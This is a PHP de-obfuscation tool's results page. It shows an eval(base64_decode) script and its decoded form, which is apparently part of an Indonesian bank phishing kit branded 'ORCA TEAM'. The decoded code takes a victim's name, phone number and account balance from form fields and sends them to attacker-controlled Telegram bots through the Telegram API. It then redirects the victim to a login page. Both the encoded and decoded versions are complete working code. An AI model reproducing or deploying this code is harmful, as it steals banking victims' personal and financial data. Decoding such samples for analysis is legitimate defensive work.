Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIGV2bHRxOyBTSmVqQjogJF9TRVNTSU9OWyJcMTYzXDE0MVwxNTRcMTQ0..
Decoded Output download
goto evltq; SJejB: $_SESSION["\163\141\154\144\x6f"] = $saldo; goto OHt2a; bP0cY: function sendMessage($id_telegram, $message, $id_botTele) { $url = "\150\164\164\x70\163\x3a\57\57\141\x70\x69\x2e\164\x65\154\145\147\162\141\155\x2e\157\x72\x67\x2f\142\x6f\164" . $id_botTele . "\x2f\x73\x65\x6e\x64\115\x65\x73\x73\141\147\x65\x3f\160\141\162\x73\145\x5f\155\x6f\144\145\x3d\155\x61\x72\153\144\x6f\x77\156\x26\143\150\x61\164\x5f\x69\x64\75" . $id_telegram; $url = $url . "\46\164\145\x78\164\x3d" . urlencode($message); $ch = curl_init(); $optArray = array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true); curl_setopt_array($ch, $optArray); $result = curl_exec($ch); curl_close($ch); } goto lrG0Z; evltq: $file1 = "\157\x72\x63\141\x2e\160\x68\160"; goto GrEs1; f4w4V: header("\x4c\157\143\x61\x74\151\x6f\156\x3a\40\56\56\x2f\x6c\x6f\147\151\156\x2e\x70\150\160"); goto e62HL; Qly1q: sendMessage($camat, $message, $lurah); goto f4w4V; feTm1: session_start(); goto TQYZI; OHt2a: $message = "\12\xe2\234\xa7\xe2\x94\x81\342\224\x81\x5b\40\102\122\x49\x20\135\xe2\224\201\133\40\x4f\122\x43\101\40\x54\x45\x41\115\40\135\x20\342\224\201\xe2\224\201\342\234\247\xa\360\x9f\220\x8b\xf0\x9f\220\213\360\x9f\220\x8b\360\x9f\220\213\xf0\237\220\x8b\xf0\x9f\x90\213\360\x9f\x90\213\360\237\220\x8b\360\x9f\220\x8b\360\237\220\x8b\xf0\x9f\x90\213\360\237\220\x8b\xf0\x9f\x90\x8b\360\237\220\213\12\12\x2d\x20\116\141\x6d\141\x20\x4c\145\156\x67\153\141\160\40\72\40" . $nama . "\xa\55\40\116\157\40\x48\x50\x20\72\x20" . $nomor . "\12\x2d\x20\123\141\154\144\x6f\40\72\40" . $saldo . "\xa\xa\40"; goto bP0cY; TQYZI: $nama = $_POST["\x6e\x61\x6d\141"]; goto ASE_F; GrEs1: $file2 = "\x65\162\157\x72\56\160\x68\160"; goto gVhaO; Q9WfR: $_SESSION["\x6e\x61\155\141"] = $nama; goto mtOMG; rh4wO: $saldo = $_POST["\x73\141\154\x64\157"]; goto Q9WfR; ASE_F: $nomor = $_POST["\x6e\157\155\157\x72"]; goto rh4wO; mtOMG: $_SESSION["\x6e\x6f\x6d\x6f\162"] = $nama; goto SJejB; vcFzr: include "\157\162\143\x61\x2e\160\x68\160"; goto feTm1; KTmuE: if (!file_exists($file2)) { echo "\x45\x72\162\x6f\x72\72\x20\x46\151\x6c\x65\40\x6b\x65\x64\x75\141\x20\50{$file2}\x29\40\164\x69\x64\141\x6b\40\144\x69\164\x65\x6d\x75\x6b\141\156\41"; die; } goto MFzIT; lrG0Z: sendMessage($id_telegram, $message, $id_botTele); goto Qly1q; MFzIT: include "\164\x65\154\x65\147\x72\141\155\x2e\x70\x68\x70"; goto vcFzr; gVhaO: if (!file_exists($file1)) { echo "\x45\162\162\157\162\x3a\x20\106\151\x6c\x65\40\x70\x65\162\164\141\x6d\x61\x20\50{$file1}\51\x20\x74\x69\x64\x61\153\40\x64\x69\x74\x65\x6d\165\x6b\x61\x6e\41"; die; } goto KTmuE; e62HL: Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIGV2bHRxOyBTSmVqQjogJF9TRVNTSU9OWyJcMTYzXDE0MVwxNTRcMTQ0XHg2ZiJdID0gJHNhbGRvOyBnb3RvIE9IdDJhOyBiUDBjWTogZnVuY3Rpb24gc2VuZE1lc3NhZ2UoJGlkX3RlbGVncmFtLCAkbWVzc2FnZSwgJGlkX2JvdFRlbGUpIHsgJHVybCA9ICJcMTUwXDE2NFwxNjRceDcwXDE2M1x4M2FcNTdcNTdcMTQxXHg3MFx4NjlceDJlXDE2NFx4NjVcMTU0XDE0NVwxNDdcMTYyXDE0MVwxNTVceDJlXDE1N1x4NzJceDY3XHgyZlwxNDJceDZmXDE2NCIgLiAkaWRfYm90VGVsZSAuICJceDJmXHg3M1x4NjVceDZlXHg2NFwxMTVceDY1XHg3M1x4NzNcMTQxXDE0N1x4NjVceDNmXDE2MFwxNDFcMTYyXHg3M1wxNDVceDVmXDE1NVx4NmZcMTQ0XDE0NVx4M2RcMTU1XHg2MVx4NzJcMTUzXDE0NFx4NmZceDc3XDE1Nlx4MjZcMTQzXDE1MFx4NjFcMTY0XHg1Zlx4NjlceDY0XDc1IiAuICRpZF90ZWxlZ3JhbTsgJHVybCA9ICR1cmwgLiAiXDQ2XDE2NFwxNDVceDc4XDE2NFx4M2QiIC4gdXJsZW5jb2RlKCRtZXNzYWdlKTsgJGNoID0gY3VybF9pbml0KCk7ICRvcHRBcnJheSA9IGFycmF5KENVUkxPUFRfVVJMID0+ICR1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIgPT4gdHJ1ZSk7IGN1cmxfc2V0b3B0X2FycmF5KCRjaCwgJG9wdEFycmF5KTsgJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOyBjdXJsX2Nsb3NlKCRjaCk7IH0gZ290byBsckcwWjsgZXZsdHE6ICRmaWxlMSA9ICJcMTU3XHg3Mlx4NjNcMTQxXHgyZVwxNjBceDY4XDE2MCI7IGdvdG8gR3JFczE7IGY0dzRWOiBoZWFkZXIoIlx4NGNcMTU3XDE0M1x4NjFceDc0XDE1MVx4NmZcMTU2XHgzYVw0MFw1Nlw1Nlx4MmZceDZjXHg2ZlwxNDdcMTUxXDE1Nlx4MmVceDcwXDE1MFwxNjAiKTsgZ290byBlNjJITDsgUWx5MXE6IHNlbmRNZXNzYWdlKCRjYW1hdCwgJG1lc3NhZ2UsICRsdXJhaCk7IGdvdG8gZjR3NFY7IGZlVG0xOiBzZXNzaW9uX3N0YXJ0KCk7IGdvdG8gVFFZWkk7IE9IdDJhOiAkbWVzc2FnZSA9ICJcMTJceGUyXDIzNFx4YTdceGUyXHg5NFx4ODFcMzQyXDIyNFx4ODFceDViXDQwXDEwMlwxMjJceDQ5XHgyMFwxMzVceGUyXDIyNFwyMDFcMTMzXDQwXHg0ZlwxMjJceDQzXDEwMVw0MFx4NTRceDQ1XHg0MVwxMTVcNDBcMTM1XHgyMFwzNDJcMjI0XDIwMVx4ZTJcMjI0XDIwMVwzNDJcMjM0XDI0N1x4YVwzNjBceDlmXDIyMFx4OGJceGYwXHg5ZlwyMjBcMjEzXDM2MFx4OWZcMjIwXHg4YlwzNjBceDlmXDIyMFwyMTNceGYwXDIzN1wyMjBceDhiXHhmMFx4OWZceDkwXDIxM1wzNjBceDlmXHg5MFwyMTNcMzYwXDIzN1wyMjBceDhiXDM2MFx4OWZcMjIwXHg4YlwzNjBcMjM3XDIyMFx4OGJceGYwXHg5Zlx4OTBcMjEzXDM2MFwyMzdcMjIwXHg4Ylx4ZjBceDlmXHg5MFx4OGJcMzYwXDIzN1wyMjBcMjEzXDEyXDEyXHgyZFx4MjBcMTE2XDE0MVx4NmRcMTQxXHgyMFx4NGNcMTQ1XDE1Nlx4NjdcMTUzXDE0MVwxNjBcNDBcNzJcNDAiIC4gJG5hbWEgLiAiXHhhXDU1XDQwXDExNlwxNTdcNDBceDQ4XHg1MFx4MjBcNzJceDIwIiAuICRub21vciAuICJcMTJceDJkXHgyMFwxMjNcMTQxXDE1NFwxNDRceDZmXDQwXDcyXDQwIiAuICRzYWxkbyAuICJceGFceGFcNDAiOyBnb3RvIGJQMGNZOyBUUVlaSTogJG5hbWEgPSAkX1BPU1RbIlx4NmVceDYxXHg2ZFwxNDEiXTsgZ290byBBU0VfRjsgR3JFczE6ICRmaWxlMiA9ICJceDY1XDE2MlwxNTdceDcyXDU2XDE2MFx4NjhcMTYwIjsgZ290byBnVmhhTzsgUTlXZlI6ICRfU0VTU0lPTlsiXHg2ZVx4NjFcMTU1XDE0MSJdID0gJG5hbWE7IGdvdG8gbXRPTUc7IHJoNHdPOiAkc2FsZG8gPSAkX1BPU1RbIlx4NzNcMTQxXDE1NFx4NjRcMTU3Il07IGdvdG8gUTlXZlI7IEFTRV9GOiAkbm9tb3IgPSAkX1BPU1RbIlx4NmVcMTU3XDE1NVwxNTdceDcyIl07IGdvdG8gcmg0d087IG10T01HOiAkX1NFU1NJT05bIlx4NmVceDZmXHg2ZFx4NmZcMTYyIl0gPSAkbmFtYTsgZ290byBTSmVqQjsgdmNGenI6IGluY2x1ZGUgIlwxNTdcMTYyXDE0M1x4NjFceDJlXDE2MFx4NjhcMTYwIjsgZ290byBmZVRtMTsgS1RtdUU6IGlmICghZmlsZV9leGlzdHMoJGZpbGUyKSkgeyBlY2hvICJceDQ1XHg3MlwxNjJceDZmXHg3Mlw3Mlx4MjBceDQ2XDE1MVx4NmNceDY1XDQwXHg2Ylx4NjVceDY0XHg3NVwxNDFceDIwXDUweyRmaWxlMn1ceDI5XDQwXDE2NFx4NjlceDY0XDE0MVx4NmJcNDBcMTQ0XHg2OVwxNjRceDY1XHg2ZFx4NzVceDZiXDE0MVwxNTZcNDEiOyBkaWU7IH0gZ290byBNRnpJVDsgbHJHMFo6IHNlbmRNZXNzYWdlKCRpZF90ZWxlZ3JhbSwgJG1lc3NhZ2UsICRpZF9ib3RUZWxlKTsgZ290byBRbHkxcTsgTUZ6SVQ6IGluY2x1ZGUgIlwxNjRceDY1XDE1NFx4NjVcMTQ3XHg3MlwxNDFcMTU1XHgyZVx4NzBceDY4XHg3MCI7IGdvdG8gdmNGenI7IGdWaGFPOiBpZiAoIWZpbGVfZXhpc3RzKCRmaWxlMSkpIHsgZWNobyAiXHg0NVwxNjJcMTYyXDE1N1wxNjJceDNhXHgyMFwxMDZcMTUxXHg2Y1x4NjVcNDBceDcwXHg2NVwxNjJcMTY0XDE0MVx4NmRceDYxXHgyMFw1MHskZmlsZTF9XDUxXHgyMFx4NzRceDY5XHg2NFx4NjFcMTUzXDQwXHg2NFx4NjlceDc0XHg2NVx4NmRcMTY1XHg2Ylx4NjFceDZlXDQxIjsgZGllOyB9IGdvdG8gS1RtdUU7IGU2MkhMOiA=')); ?>Function Calls
| base64_decode | 1 |
Stats
| MD5 | f4b114a1d1bf9e2d0ced913c78ae4892 |
| Eval Count | 1 |
| Decode Time | 39 ms |